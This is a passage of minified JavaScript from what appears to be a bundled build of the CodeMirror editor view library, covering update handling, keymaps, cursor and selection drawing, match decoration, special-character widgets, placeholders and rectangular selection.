Fe(this.state,p),Th}}),f=_r.create(this,this.state,[]),u=!1;f.flags|=a,t?t.flags|=a:t=f,this.updateState=2,f.empty||(this.updatePlugins(f),this.inputState.update(f),this.updateAttrs(),u=this.docView.update(f),u&&this.docViewUpdate());for(let d=0;d<h.length;d++)if(c[d]!=Th)try{let p=h[d];p.write&&p.write(c[d],this)}catch(p){Fe(this.state,p)}if(u&&this.docView.updateSelection(!0),!f.viewportChanged&&this.measureRequests.length==0){if(this.viewState.editorHeight)if(this.viewState.scrollTarget){this.docView.scrollIntoView(this.viewState.scrollTarget),this.viewState.scrollTarget=null,o=-1;continue}else{let p=((s<0?this.viewState.heightMap.height:this.viewState.lineBlockAt(s).top)-o)/this.scaleY;if((p>1||p<-1)&&(n==this.scrollDOM||this.hasFocus||Math.max(this.inputState.lastWheelEvent,this.inputState.lastTouchTime)>Date.now()-100)){r=r+p,n?n.scrollTop+=p:this.win.scrollBy(0,p),o=-1;continue}}break}}}finally{this.updateState=0,this.measureScheduled=-1}if(t&&!t.empty)for(let l of this.state.facet(Zo))l(t)}get themeClasses(){return sl+" "+(this.state.facet(rl)?Fu:Bu)+" "+this.state.facet(rr)}updateAttrs(){let e=Mh(this,bu,{class:"cm-editor"+(this.hasFocus?" cm-focused ":" ")+this.themeClasses}),t={spellcheck:"false",autocorrect:"off",autocapitalize:"off",writingsuggestions:"false",translate:"no",contenteditable:this.state.facet(At)?"true":"false",class:"cm-content",style:`${P.tabSize}: ${this.state.tabSize}`,role:"textbox","aria-multiline":"true"};this.state.readOnly&&(t["aria-readonly"]="true"),Mh(this,Xl,t);let n=this.observer.ignore(()=>{let r=nh(this.contentDOM,this.contentAttrs,t),s=nh(this.dom,this.editorAttrs,e);return r||s});return this.editorAttrs=e,this.contentAttrs=t,n}showAnnouncements(e){let t=!0;for(let n of e)for(let r of n.effects)if(r.is(A.announce)){t&&(this.announceDOM.textContent=""),t=!1;let s=this.announceDOM.appendChild(document.createElement("div"));s.textContent=r.value}}mountStyles(){this.styleModules=this.state.facet(un);let e=this.state.facet(A.cspNonce);Qt.mount(this.root,this.styleModules.concat(Yy).reverse(),e?{nonce:e}:void 0)}readMeasured(){if(this.updateState==2)throw new Error("Reading the editor layout isn't allowed during an update");this.updateState==0&&this.measureScheduled>-1&&this.measure(!1)}requestMeasure(e){if(this.measureScheduled<0&&(this.measureScheduled=this.win.requestAnimationFrame(()=>this.measure())),e){if(this.measureRequests.indexOf(e)>-1)return;if(e.key!=null){for(let t=0;t<this.measureRequests.length;t++)if(this.measureRequests[t].key===e.key){this.measureRequests[t]=e;return}}this.measureRequests.push(e)}}plugin(e){let t=this.pluginMap.get(e);return(t===void 0||t&&t.plugin!=e)&&this.pluginMap.set(e,t=this.plugins.find(n=>n.plugin==e)||null),t&&t.update(this).value}get documentTop(){return this.contentDOM.getBoundingClientRect().top+this.viewState.paddingTop}get documentPadding(){return{top:this.viewState.paddingTop,bottom:this.viewState.paddingBottom}}get scaleX(){return this.viewState.scaleX}get scaleY(){return this.viewState.scaleY}elementAtHeight(e){return this.readMeasured(),this.viewState.elementAtHeight(e)}lineBlockAtHeight(e){return this.readMeasured(),this.viewState.lineBlockAtHeight(e)}get viewportLineBlocks(){return this.viewState.viewportLines}lineBlockAt(e){return this.viewState.lineBlockAt(e)}get contentHeight(){return this.viewState.contentHeight}moveByChar(e,t,n){return Ks(this,e,ch(this,e,t,n))}moveByGroup(e,t){return Ks(this,e,ch(this,e,t,n=>fy(this,e.head,n)))}visualLineSide(e,t){let n=this.bidiSpans(e),r=this.textDirectionAt(e.from),s=n[t?n.length-1:0];return v.cursor(s.side(t,r)+e.from,s.forward(!t,r)?1:-1)}moveToLineBoundary(e,t,n=!0){return cy(this,e,t,n)}moveVertically(e,t,n){return Ks(this,e,uy(this,e,t,n))}domAtPos(e,t=1){return this.docView.domAtPos(e,t)}posAtDOM(e,t=0){return this.docView.posFromDOM(e,t)}posAtCoords(e,t=!0){this.readMeasured();let n=il(this,e,t);return n&&n.pos}posAndSideAtCoords(e,t=!0){return this.readMeasured(),il(this,e,t)}coordsAtPos(e,t=1){this.readMeasured();let n=this.docView.coordsAt(e,t);if(!n||n.left==n.right)return n;let r=this.state.doc.lineAt(e),s=this.bidiSpans(r),o=s[bt.find(s,e-r.from,-1,t)];return Pn(n,o.dir==J.LTR==t>0)}coordsForChar(e){return this.readMeasured(),this.docView.coordsForChar(e)}get defaultCharacterWidth(){return this.viewState.heightOracle.charWidth}get defaultLineHeight(){return this.viewState.heightOracle.lineHeight}get textDirection(){return this.viewState.defaultTextDirection}textDirectionAt(e){return!this.state.facet(du)||e<this.viewport.from||e>this.viewport.to?this.textDirection:(this.readMeasured(),this.docView.textDirectionAt(e))}get lineWrapping(){return this.viewState.heightOracle.lineWrapping}bidiSpans(e){if(e.length>t1)return su(e.length);let t=this.textDirectionAt(e.from),n;for(let s of this.bidiCache)if(s.from==e.from&&s.dir==t&&(s.fresh||ru(s.isolates,n=oh(this,e))))return s.order;n||(n=oh(this,e));let r=Fb(e.text,t,n);return this.bidiCache.push(new Qr(e.from,e.to,t,n,!0,r)),r}get hasFocus(){var e;return(this.dom.ownerDocument.hasFocus()||P.safari&&((e=this.inputState)===null||e===void 0?void 0:e.lastContextMenu)>Date.now()-3e4)&&this.root.activeElement==this.contentDOM}focus(){this.observer.ignore(()=>{Jf(this.contentDOM),this.docView.updateSelection()})}setRoot(e){this._root!=e&&(this._root=e,this.observer.setWindow((e.nodeType==9?e:e.ownerDocument).defaultView||window),this.mountStyles())}destroy(){this.root.activeElement==this.contentDOM&&this.contentDOM.blur();for(let e of this.plugins)e.destroy(this);this.plugins=[],this.inputState.destroy(),this.docView.destroy(),this.dom.remove(),this.observer.destroy(),this.measureScheduled>-1&&this.win.cancelAnimationFrame(this.measureScheduled),this.destroyed=!0}static scrollIntoView(e,t={}){var n,r,s,o;return Jn.of(new Ni(typeof e=="number"?v.cursor(e):e,(n=t.y)!==null&&n!==void 0?n:"nearest",(r=t.x)!==null&&r!==void 0?r:"nearest",(s=t.yMargin)!==null&&s!==void 0?s:5,(o=t.xMargin)!==null&&o!==void 0?o:5))}scrollSnapshot(){let{scrollTop:e,scrollLeft:t}=this.scrollDOM,n=this.viewState.scrollAnchorAt(e);return Jn.of(new Ni(v.cursor(n.from),"start","start",n.top-e,t,!0))}setTabFocusMode(e){e==null?this.inputState.tabFocusMode=this.inputState.tabFocusMode<0?0:-1:typeof e=="boolean"?this.inputState.tabFocusMode=e?0:-1:this.inputState.tabFocusMode!=0&&(this.inputState.tabFocusMode=Date.now()+e)}static domEventHandlers(e){return se.define(()=>({}),{eventHandlers:e})}static domEventObservers(e){return se.define(()=>({}),{eventObservers:e})}static theme(e,t){let n=Qt.newName(),r=[rr.of(n),un.of(ol(`.${n}`,e))];return t&&t.dark&&r.push(rl.of(!0)),r}static baseTheme(e){return yi.lowest(un.of(ol("."+sl,e,_u)))}static findFromDOM(e){var t;let n=e.querySelector(".cm-content"),r=n&&re.get(n)||re.get(e);return((t=r?.root)===null||t===void 0?void 0:t.view)||null}}A.styleModule=un;A.inputHandler=fu;A.clipboardInputFilter=Ul;A.clipboardOutputFilter=Kl;A.scrollHandler=gu;A.focusChangeEffect=uu;A.perLineTextDirection=du;A.exceptionSink=cu;A.updateListener=Zo;A.editable=At;A.mouseSelectionStyle=hu;A.dragMovesSelection=au;A.clickAddsSelectionRange=lu;A.decorations=ms;A.blockWrappers=yu;A.outerDecorations=jl;A.atomicRanges=Qn;A.bidiIsolatedRanges=xu;A.cursorScrollMargin=T.define({combine:i=>{let e=5,t=5;for(let n of i)typeof n=="number"?e=t=n:{x:e,y:t}=n;return{x:e,y:t}}});A.scrollMargins=vu;A.darkTheme=rl;A.cspNonce=T.define({combine:i=>i.length?i[0]:""});A.contentAttributes=Xl;A.editorAttributes=bu;A.lineWrapping=A.contentAttributes.of({class:"cm-lineWrapping"});A.announce=N.define();const t1=4096,Th={};class Qr{constructor(e,t,n,r,s,o){this.from=e,this.to=t,this.dir=n,this.isolates=r,this.fresh=s,this.order=o}static update(e,t){if(t.empty&&!e.some(s=>s.fresh))return e;let n=[],r=e.length?e[e.length-1].dir:J.LTR;for(let s=Math.max(0,e.length-10);s<e.length;s++){let o=e[s];o.dir==r&&!t.touchesRange(o.from,o.to)&&n.push(new Qr(t.mapPos(o.from,1),t.mapPos(o.to,-1),o.dir,o.isolates,!1,o.order))}return n}}function Mh(i,e,t){for(let n=i.state.facet(e),r=n.length-1;r>=0;r--){let s=n[r],o=typeof s=="function"?s(i):s;o&&Ql(o,t)}return t}const i1=P.mac?"mac":P.windows?"win":P.linux?"linux":"key";function n1(i,e){const t=i.split(/-(?!$)/);let n=t[t.length-1];n=="Space"&&(n=" ");let r,s,o,l;for(let a=0;a<t.length-1;++a){const h=t[a];if(/^(cmd|meta|m)$/i.test(h))l=!0;else if(/^a(lt)?$/i.test(h))r=!0;else if(/^(c|ctrl|control)$/i.test(h))s=!0;else if(/^s(hift)?$/i.test(h))o=!0;else if(/^mod$/i.test(h))e=="mac"?l=!0:s=!0;else throw new Error("Unrecognized modifier name: "+h)}return r&&(n="Alt-"+n),s&&(n="Ctrl-"+n),l&&(n="Meta-"+n),o&&(n="Shift-"+n),n}function sr(i,e,t){return e.altKey&&(i="Alt-"+i),e.ctrlKey&&(i="Ctrl-"+i),e.metaKey&&(i="Meta-"+i),t!==!1&&e.shiftKey&&(i="Shift-"+i),i}const r1=yi.default(A.domEventHandlers({keydown(i,e){return $u(Wu(e.state),i,e,"editor")}})),vs=T.define({enables:r1}),Ph=new WeakMap;function Wu(i){let e=i.facet(vs),t=Ph.get(e);return t||Ph.set(e,t=l1(e.reduce((n,r)=>n.concat(r),[]))),t}function s1(i,e,t){return $u(Wu(i.state),e,i,t)}let Bt=null;const o1=4e3;function l1(i,e=i1){let t=Object.create(null),n=Object.create(null),r=(o,l)=>{let a=n[o];if(a==null)n[o]=l;else if(a!=l)throw new Error("Key binding "+o+" is used both as a regular binding and as a multi-stroke prefix")},s=(o,l,a,h,c)=>{var f,u;let d=t[o]||(t[o]=Object.create(null)),p=l.split(/ (?!$)/).map(b=>n1(b,e));for(let b=1;b<p.length;b++){let x=p.slice(0,b).join(" ");r(x,!0),d[x]||(d[x]={preventDefault:!0,stopPropagation:!1,run:[S=>{let M=Bt={view:S,prefix:x,scope:o};return setTimeout(()=>{Bt==M&&(Bt=null)},o1),!0}]})}let g=p.join(" ");r(g,!1);let m=d[g]||(d[g]={preventDefault:!1,stopPropagation:!1,run:((u=(f=d._any)===null||f===void 0?void 0:f.run)===null||u===void 0?void 0:u.slice())||[]});a&&m.run.push(a),h&&(m.preventDefault=!0),c&&(m.stopPropagation=!0)};for(let o of i){let l=o.scope?o.scope.split(" "):["editor"];if(o.any)for(let h of l){let c=t[h]||(t[h]=Object.create(null));c._any||(c._any={preventDefault:!1,stopPropagation:!1,run:[]});let{any:f}=o;for(let u in c)c[u].run.push(d=>f(d,ll))}let a=o[e]||o.key;if(a)for(let h of l)s(h,a,o.run,o.preventDefault,o.stopPropagation),o.shift&&s(h,"Shift-"+a,o.shift,o.preventDefault,o.stopPropagation)}return t}let ll=null;function $u(i,e,t,n){ll=e;let r=kb(e),s=Ie(r,0),o=pt(s)==r.length&&r!=" ",l="",a=!1,h=!1,c=!1;Bt&&Bt.view==t&&Bt.scope==n&&(l=Bt.prefix+" ",Mu.indexOf(e.keyCode)<0&&(h=!0,Bt=null));let f=new Set,u=m=>{if(m){for(let b of m.run)if(!f.has(b)&&(f.add(b),b(t)))return m.stopPropagation&&(c=!0),!0;m.preventDefault&&(m.stopPropagation&&(c=!0),h=!0)}return!1},d=i[n],p,g;return d&&(u(d[l+sr(r,e,!o)])?a=!0:o&&(e.altKey||e.metaKey||e.ctrlKey)&&!(P.windows&&e.ctrlKey&&e.altKey)&&!(P.mac&&e.altKey&&!(e.ctrlKey||e.metaKey))&&(p=zt[e.keyCode])&&p!=r?(u(d[l+sr(p,e,!0)])||e.shiftKey&&(g=An[e.keyCode])!=r&&g!=p&&u(d[l+sr(g,e,!1)]))&&(a=!0):o&&e.shiftKey&&u(d[l+sr(r,e,!0)])&&(a=!0),!a&&u(d._any)&&(a=!0)),h&&(a=!0),a&&c&&e.stopPropagation(),ll=null,a}class ci{constructor(e,t,n,r,s){this.className=e,this.left=t,this.top=n,this.width=r,this.height=s}draw(){let e=document.createElement("div");return e.className=this.className,this.adjust(e),e}update(e,t){return t.className!=this.className?!1:(this.adjust(e),!0)}adjust(e){e.style.left=this.left+"px",e.style.top=this.top+"px",this.width!=null&&(e.style.width=this.width+"px"),e.style.height=this.height+"px"}eq(e){return this.left==e.left&&this.top==e.top&&this.width==e.width&&this.height==e.height&&this.className==e.className}static forRange(e,t,n){if(n.empty){let r=e.coordsAtPos(n.head,n.assoc||1);if(!r)return[];let s=Hu(e);return[new ci(t,r.left-s.left,r.top-s.top,null,r.bottom-r.top)]}else return a1(e,t,n)}}function Hu(i){let e=i.scrollDOM.getBoundingClientRect();return{left:(i.textDirection==J.LTR?e.left:e.right-i.scrollDOM.clientWidth*i.scaleX)-i.scrollDOM.scrollLeft*i.scaleX,top:e.top-i.scrollDOM.scrollTop*i.scaleY}}function Eh(i,e,t,n){let r=i.coordsAtPos(e,t*2);if(!r)return n;let s=i.dom.getBoundingClientRect(),o=(r.top+r.bottom)/2,l=i.posAtCoords({x:s.left+1,y:o}),a=i.posAtCoords({x:s.right-1,y:o});return l==null||a==null?n:{from:Math.max(n.from,Math.min(l,a)),to:Math.min(n.to,Math.max(l,a))}}function a1(i,e,t){if(t.to<=i.viewport.from||t.from>=i.viewport.to)return[];let n=Math.max(t.from,i.viewport.from),r=Math.min(t.to,i.viewport.to),s=i.textDirection==J.LTR,o=i.contentDOM,l=o.getBoundingClientRect(),a=Hu(i),h=o.querySelector(".cm-line"),c=h&&window.getComputedStyle(h),f=l.left+(c?parseInt(c.paddingLeft)+Math.min(0,parseInt(c.textIndent)):0),u=l.right-(c?parseInt(c.paddingRight):0),d=tl(i,n,1),p=tl(i,r,-1),g=d.type==Se.Text?d:null,m=p.type==Se.Text?p:null;if(g&&(i.lineWrapping||d.widgetLineBreaks)&&(g=Eh(i,n,1,g)),m&&(i.lineWrapping||p.widgetLineBreaks)&&(m=Eh(i,r,-1,m)),g&&m&&g.from==m.from&&g.to==m.to)return x(S(t.from,t.to,g));{let k=g?S(t.from,null,g):M(d,!1),w=m?S(null,t.to,m):M(p,!0),O=[];return(g||d).to<(m||p).from-(g&&m?1:0)||d.widgetLineBreaks>1&&k.bottom+i.defaultLineHeight/2<w.top?O.push(b(f,k.bottom,u,w.top)):k.bottom<w.top&&i.elementAtHeight((k.bottom+w.top)/2).type==Se.Text&&(k.bottom=w.top=(k.bottom+w.top)/2),x(k).concat(O).concat(x(w))}function b(k,w,O,I){return new ci(e,k-a.left,w-a.top,Math.max(0,O-k),I-w)}function x({top:k,bottom:w,horizontal:O}){let I=[];for(let F=0;F<O.length;F+=2)I.push(b(O[F],k,O[F+1],w));return I}function S(k,w,O){let I=1e9,F=-1e9,U=[];function B(_,K,oe,fe,Me){let ie=i.coordsAtPos(_,_==O.to?-2:2),ge=i.coordsAtPos(oe,oe==O.from?2:-2);!ie||!ge||(I=Math.min(ie.top,ge.top,I),F=Math.max(ie.bottom,ge.bottom,F),Me==J.LTR?U.push(s&&K?f:ie.left,s&&fe?u:ge.right):U.push(!s&&fe?f:ge.left,!s&&K?u:ie.right))}let E=k??O.from,H=w??O.to;for(let _ of i.visibleRanges)if(_.to>E&&_.from<H)for(let K=Math.max(_.from,E),oe=Math.min(_.to,H);;){let fe=i.state.doc.lineAt(K);for(let Me of i.bidiSpans(fe)){let ie=Me.from+fe.from,ge=Me.to+fe.from;if(ie>=oe)break;ge>K&&B(Math.max(ie,K),k==null&&ie<=E,Math.min(ge,oe),w==null&&ge>=H,Me.dir)}if(K=fe.to+1,K>=oe)break}return U.length==0&&B(E,k==null,H,w==null,i.textDirection),{top:I,bottom:F,horizontal:U}}function M(k,w){let O=l.top+(w?k.top:k.bottom);return{top:O,bottom:O,horizontal:[]}}}function h1(i,e){return i.constructor==e.constructor&&i.eq(e)}class c1{constructor(e,t){this.view=e,this.layer=t,this.drawn=[],this.scaleX=1,this.scaleY=1,this.measureReq={read:this.measure.bind(this),write:this.draw.bind(this)},this.dom=e.scrollDOM.appendChild(document.createElement("div")),this.dom.classList.add("cm-layer"),t.above&&this.dom.classList.add("cm-layer-above"),t.class&&this.dom.classList.add(t.class),this.scale(),this.dom.setAttribute("aria-hidden","true"),this.setOrder(e.state),e.requestMeasure(this.measureReq),t.mount&&t.mount(this.dom,e)}update(e){e.startState.facet(wr)!=e.state.facet(wr)&&this.setOrder(e.state),(this.layer.update(e,this.dom)||e.geometryChanged)&&(this.scale(),e.view.requestMeasure(this.measureReq))}docViewUpdate(e){this.layer.updateOnDocViewUpdate!==!1&&e.requestMeasure(this.measureReq)}setOrder(e){let t=0,n=e.facet(wr);for(;t<n.length&&n[t]!=this.layer;)t++;this.dom.style.zIndex=String((this.layer.above?150:-1)-t)}measure(){return this.layer.markers(this.view)}scale(){let{scaleX:e,scaleY:t}=this.view;(e!=this.scaleX||t!=this.scaleY)&&(this.scaleX=e,this.scaleY=t,this.dom.style.transform=`scale(${1/e}, ${1/t})`)}draw(e){if(e.length!=this.drawn.length||e.some((t,n)=>!h1(t,this.drawn[n]))){let t=this.dom.firstChild,n=0;for(let r of e)r.update&&t&&r.constructor&&this.drawn[n].constructor&&r.update(t,this.drawn[n])?(t=t.nextSibling,n++):this.dom.insertBefore(r.draw(),t);for(;t;){let r=t.nextSibling;t.remove(),t=r}this.drawn=e,P.webkit&&(this.dom.style.display=this.dom.firstChild?"":"none")}}destroy(){this.layer.destroy&&this.layer.destroy(this.dom,this.view),this.dom.remove()}}const wr=T.define();function Vu(i){return[se.define(e=>new c1(e,i)),wr.of(i)]}const Ui=T.define({combine(i){return kt(i,{cursorBlinkRate:1200,drawRangeCursor:!0,iosSelectionHandles:!0},{cursorBlinkRate:(e,t)=>Math.min(e,t),drawRangeCursor:(e,t)=>e||t})}});function f1(i={}){return[Ui.of(i),u1,d1,p1,pu.of(!0)]}function Qu(i){return i.startState.facet(Ui)!=i.state.facet(Ui)}const u1=Vu({above:!0,markers(i){let{state:e}=i,t=e.facet(Ui),n=[];for(let r of e.selection.ranges){let s=r==e.selection.main;if(r.empty||t.drawRangeCursor&&!(s&&P.ios&&t.iosSelectionHandles)){let o=s?"cm-cursor cm-cursor-primary":"cm-cursor cm-cursor-secondary",l=r.empty?r:v.cursor(r.head,r.assoc);for(let a of ci.forRange(i,o,l))n.push(a)}}return n},update(i,e){i.transactions.some(n=>n.selection)&&(e.style.animationName=e.style.animationName=="cm-blink"?"cm-blink2":"cm-blink");let t=Qu(i);return t&&Lh(i.state,e),i.docChanged||i.selectionSet||t},mount(i,e){Lh(e.state,i)},class:"cm-cursorLayer"});function Lh(i,e){e.style.animationDuration=i.facet(Ui).cursorBlinkRate+"ms"}const d1=Vu({above:!1,markers(i){let e=[],{main:t,ranges:n}=i.state.selection;for(let r of n)if(!r.empty)for(let s of ci.forRange(i,"cm-selectionBackground",r))e.push(s);if(P.ios&&!t.empty&&i.state.facet(Ui).iosSelectionHandles){for(let r of ci.forRange(i,"cm-selectionHandle cm-selectionHandle-start",v.cursor(t.from,1)))e.push(r);for(let r of ci.forRange(i,"cm-selectionHandle cm-selectionHandle-end",v.cursor(t.to,1)))e.push(r)}return e},update(i,e){return i.docChanged||i.selectionSet||i.viewportChanged||Qu(i)},class:"cm-selectionLayer"}),p1=yi.highest(A.theme({".cm-line":{"& ::selection, &::selection":{backgroundColor:"transparent !important"},caretColor:"transparent !important"},".cm-content":{caretColor:"transparent !important","& :focus":{caretColor:"initial !important","&::selection, & ::selection":{backgroundColor:"Highlight !important"}}}})),zu=N.define({map(i,e){return i==null?null:e.mapPos(i)}}),pn=Ae.define({create(){return null},update(i,e){return i!=null&&(i=e.changes.mapPos(i)),e.effects.reduce((t,n)=>n.is(zu)?n.value:t,i)}}),g1=se.fromClass(class{constructor(i){this.view=i,this.cursor=null,this.measureReq={read:this.readPos.bind(this),write:this.drawCursor.bind(this)}}update(i){var e;let t=i.state.field(pn);t==null?this.cursor!=null&&((e=this.cursor)===null||e===void 0||e.remove(),this.cursor=null):(this.cursor||(this.cursor=this.view.scrollDOM.appendChild(document.createElement("div")),this.cursor.className="cm-dropCursor"),(i.startState.field(pn)!=t||i.docChanged||i.geometryChanged)&&this.view.requestMeasure(this.measureReq))}readPos(){let{view:i}=this,e=i.state.field(pn),t=e!=null&&i.coordsAtPos(e);if(!t)return null;let n=i.scrollDOM.getBoundingClientRect();return{left:t.left-n.left+i.scrollDOM.scrollLeft*i.scaleX,top:t.top-n.top+i.scrollDOM.scrollTop*i.scaleY,height:t.bottom-t.top}}drawCursor(i){if(this.cursor){let{scaleX:e,scaleY:t}=this.view;i?(this.cursor.style.left=i.left/e+"px",this.cursor.style.top=i.top/t+"px",this.cursor.style.height=i.height/t+"px"):this.cursor.style.left="-100000px"}}destroy(){this.cursor&&this.cursor.remove()}setDropPos(i){this.view.state.field(pn)!=i&&this.view.dispatch({effects:zu.of(i)})}},{eventObservers:{dragover(i){this.setDropPos(this.view.posAtCoords({x:i.clientX,y:i.clientY}))},dragleave(i){(i.target==this.view.contentDOM||!this.view.contentDOM.contains(i.relatedTarget))&&this.setDropPos(null)},dragend(){this.setDropPos(null)},drop(){this.setDropPos(null)}}});function m1(){return[pn,g1]}function Dh(i,e,t,n,r){e.lastIndex=0;for(let s=i.iterRange(t,n),o=t,l;!s.next().done;o+=s.value.length)if(!s.lineBreak)for(;l=e.exec(s.value);)r(o+l.index,l)}function b1(i,e){let t=i.visibleRanges;if(t.length==1&&t[0].from==i.viewport.from&&t[0].to==i.viewport.to)return t;let n=[];for(let{from:r,to:s}of t)r=Math.max(i.state.doc.lineAt(r).from,r-e),s=Math.min(i.state.doc.lineAt(s).to,s+e),n.length&&n[n.length-1].to>=r?n[n.length-1].to=s:n.push({from:r,to:s});return n}class y1{constructor(e){const{regexp:t,decoration:n,decorate:r,boundary:s,maxLength:o=1e3}=e;if(!t.global)throw new RangeError("The regular expression given to MatchDecorator should have its 'g' flag set");if(this.regexp=t,r)this.addMatch=(l,a,h,c)=>r(c,h,h+l[0].length,l,a);else if(typeof n=="function")this.addMatch=(l,a,h,c)=>{let f=n(l,a,h);f&&c(h,h+l[0].length,f)};else if(n)this.addMatch=(l,a,h,c)=>c(h,h+l[0].length,n);else throw new RangeError("Either 'decorate' or 'decoration' should be provided to MatchDecorator");this.boundary=s,this.maxLength=o}createDeco(e){let t=new Et,n=t.add.bind(t);for(let{from:r,to:s}of b1(e,this.maxLength))Dh(e.state.doc,this.regexp,r,s,(o,l)=>this.addMatch(l,e,o,n));return t.finish()}updateDeco(e,t){let n=1e9,r=-1;return e.docChanged&&e.changes.iterChanges((s,o,l,a)=>{a>=e.view.viewport.from&&l<=e.view.viewport.to&&(n=Math.min(l,n),r=Math.max(a,r))}),e.viewportMoved||r-n>1e3?this.createDeco(e.view):r>-1?this.updateRange(e.view,t.map(e.changes),n,r):t}updateRange(e,t,n,r){for(let s of e.visibleRanges){let o=Math.max(s.from,n),l=Math.min(s.to,r);if(l>=o){let a=e.state.doc.lineAt(o),h=a.to<l?e.state.doc.lineAt(l):a,c=Math.max(s.from,a.from),f=Math.min(s.to,h.to);if(this.boundary){for(;o>a.from;o--)if(this.boundary.test(a.text[o-1-a.from])){c=o;break}for(;l<h.to;l++)if(this.boundary.test(h.text[l-h.from])){f=l;break}}let u=[],d,p=(g,m,b)=>u.push(b.range(g,m));if(a==h)for(this.regexp.lastIndex=c-a.from;(d=this.regexp.exec(a.text))&&d.index<f-a.from;)this.addMatch(d,e,d.index+a.from,p);else Dh(e.state.doc,this.regexp,c,f,(g,m)=>this.addMatch(m,e,g,p));t=t.update({filterFrom:c,filterTo:f,filter:(g,m)=>g<c||m>f,add:u})}}return t}}const al=/x/.unicode!=null?"gu":"g",x1=new RegExp(`[\0-\b
--Ÿ­؜​‎‏\u2028\u2029‭‮⁦⁧⁩\uFEFF-]`,al),v1={0:"null",7:"bell",8:"backspace",10:"newline",11:"vertical tab",13:"carriage return",27:"escape",8203:"zero width space",8204:"zero width non-joiner",8205:"zero width joiner",8206:"left-to-right mark",8207:"right-to-left mark",8232:"line separator",8237:"left-to-right override",8238:"right-to-left override",8294:"left-to-right isolate",8295:"right-to-left isolate",8297:"pop directional isolate",8233:"paragraph separator",65279:"zero width no-break space",65532:"object replacement"};let Ys=null;function S1(){var i;if(Ys==null&&typeof document<"u"&&document.body){let e=document.body.style;Ys=((i=e.tabSize)!==null&&i!==void 0?i:e.MozTabSize)!=null}return Ys||!1}const Or=T.define({combine(i){let e=kt(i,{render:null,specialChars:x1,addSpecialChars:null});return(e.replaceTabs=!S1())&&(e.specialChars=new RegExp("	|"+e.specialChars.source,al)),e.addSpecialChars&&(e.specialChars=new RegExp(e.specialChars.source+"|"+e.addSpecialChars.source,al)),e}});function k1(i={}){return[Or.of(i),w1()]}let Rh=null;function w1(){return Rh||(Rh=se.fromClass(class{constructor(i){this.view=i,this.decorations=D.none,this.decorationCache=Object.create(null),this.decorator=this.makeDecorator(i.state.facet(Or)),this.decorations=this.decorator.createDeco(i)}makeDecorator(i){return new y1({regexp:i.specialChars,decoration:(e,t,n)=>{let{doc:r}=t.state,s=Ie(e[0],0);if(s==9){let o=r.lineAt(n),l=t.state.tabSize,a=Ji(o.text,l,n-o.from);return D.replace({widget:new T1((l-a%l)*this.view.defaultCharacterWidth/this.view.scaleX)})}return this.decorationCache[s]||(this.decorationCache[s]=D.replace({widget:new A1(i,s)}))},boundary:i.replaceTabs?void 0:/[^]/})}update(i){let e=i.state.facet(Or);i.startState.facet(Or)!=e?(this.decorator=this.makeDecorator(e),this.decorations=this.decorator.createDeco(i.view)):this.decorations=this.decorator.updateDeco(i,this.decorations)}},{decorations:i=>i.decorations}))}const O1="•";function C1(i){return i>=32?O1:i==10?"␤":String.fromCharCode(9216+i)}class A1 extends wt{constructor(e,t){super(),this.options=e,this.code=t}eq(e){return e.code==this.code}toDOM(e){let t=C1(this.code),n=e.state.phrase("Control character")+" "+(v1[this.code]||"0x"+this.code.toString(16)),r=this.options.render&&this.options.render(this.code,n,t);if(r)return r;let s=document.createElement("span");return s.textContent=t,s.title=n,s.setAttribute("aria-label",n),s.className="cm-specialChar",s}ignoreEvent(){return!1}}class T1 extends wt{constructor(e){super(),this.width=e}eq(e){return e.width==this.width}toDOM(){let e=document.createElement("span");return e.textContent="	",e.className="cm-tab",e.style.width=this.width+"px",e}ignoreEvent(){return!1}}function M1(){return E1}const P1=D.line({class:"cm-activeLine"}),E1=se.fromClass(class{constructor(i){this.decorations=this.getDeco(i)}update(i){(i.docChanged||i.selectionSet)&&(this.decorations=this.getDeco(i.view))}getDeco(i){let e=-1,t=[];for(let n of i.state.selection.ranges){let r=i.lineBlockAt(n.head);r.from>e&&(t.push(P1.range(r.from)),e=r.from)}return D.set(t)}},{decorations:i=>i.decorations});class L1 extends wt{constructor(e){super(),this.content=e}toDOM(e){let t=document.createElement("span");return t.className="cm-placeholder",t.style.pointerEvents="none",t.appendChild(typeof this.content=="string"?document.createTextNode(this.content):typeof this.content=="function"?this.content(e):this.content.cloneNode(!0)),t.setAttribute("aria-hidden","true"),t}coordsAt(e){let t=e.firstChild?yn(e.firstChild):[];if(!t.length)return null;let n=window.getComputedStyle(e.parentNode),r=Pn(t[0],n.direction!="rtl"),s=parseInt(n.lineHeight);return r.bottom-r.top>s*1.5?{left:r.left,right:r.right,top:r.top,bottom:r.top+s}:r}ignoreEvent(){return!1}}function D1(i){let e=se.fromClass(class{constructor(t){this.view=t,this.placeholder=i?D.set([D.widget({widget:new L1(i),side:1}).range(0)]):D.none}get decorations(){return this.view.state.doc.length?D.none:this.placeholder}},{decorations:t=>t.decorations});return typeof i=="string"?[e,A.contentAttributes.of({"aria-placeholder":i})]:e}const hl=2e3;function R1(i,e,t){let n=Math.min(e.line,t.line),r=Math.max(e.line,t.line),s=[];if(e.off>hl||t.off>hl||e.col<0||t.col<0){let o=Math.min(e.off,t.off),l=Math.max(e.off,t.off);for(let a=n;a<=r;a++){let h=i.doc.line(a);h.length<=l&&s.push(v.range(h.from+o,h.to+l))}}else{let o=Math.min(e.col,t.col),l=Math.max(e.col,t.col);for(let a=n;a<=r;a++){let h=i.doc.line(a),c=Vo(h.text,o,i.tabSize,!0);if(c<0)s.push(v.cursor(h.to));else{let f=Vo(h.text,l,i.tabSize);s.push(v.range(h.from+c,h.from+f))}}}return s}function I1(i,e){let t=i.coordsAtPos(i.viewport.from);return t?Math.round(Math.abs((t.left-e)/i.defaultCharacterWidth)):-1}function Ih(i,e){let t=i.posAtCoords({x:e.clientX,y:e.clientY},!1),n=i.state.doc.lineAt(t),r=t-n.from,s=r>hl?-1:r==n.length?I1(i,e.clientX):Ji(n.text,i.state.tabSize,t-n.from);return{line:n.number,col:s,off:r}}function N1(i,e){let t=Ih(i,e),n=i.state.selection;return t?{update(r){if(r.docChanged){let s=r.changes.mapPos(r.startState.doc.line(t.line).from),o=r.state.doc.lineAt(s);t={line:o.number,col:t.col,off:Math.min(t.off,o.length)},n=n.map(r.changes)}},get(r,s,o){let l=Ih(i,r);if(!l)return n;let a=R1(i.state,t,l);return a.length?o?v.create(a.concat(n.ranges)):v.create(a):n}}:null}function B1(i){let e=(t=>t.altKey&&t.button==0);return A.mouseSelectionStyle.of((t,n)=>e(n)?N1(t,n):null)}const 